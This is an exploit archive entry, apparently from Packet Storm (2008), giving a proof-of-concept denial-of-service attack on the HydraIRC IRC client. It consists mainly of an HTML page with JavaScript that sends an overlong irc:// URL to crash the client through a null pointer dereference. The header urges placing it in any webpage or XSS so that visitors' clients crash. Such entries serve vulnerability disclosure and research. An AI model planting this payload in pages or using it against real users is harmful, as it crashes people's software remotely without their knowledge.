hydralrc-dos.txt

🗓️ 04 Aug 2008 00:00:00Reported by securfrogType

packetstorm🔗 packetstormsecurity.com👁 20 Views

HydraIRC Remote Denial Of Service vulnerability through a Null Pointer Dereference leading to a remote crash

`############################################################  
# Vendor : http://www.hydrairc.com/  
# Remote : Yes  
# Impact : Remote crash  
# Bug : Null Pointer Dereference  
# Working on : all browsers  
#  
# Include this in any webpage or xss & see it with any browser , wait ~15sec, and boom.  
#  
# PoC :  
#  
<html>  
<head> <title>HydraIRC Remote Denial Of Service Poc </title></head>  
<body>  
<script>  
var site = 'irc://127.0.0.1/'  
var buf = 'A';  
while (buf.length <= 560) buf = buf + 'A';  
document.location.href=site +buf  
</script>  
</body>  
</html>  
`

04 Aug 2008 00:00Current

7.4High risk

Vulners AI Score7.4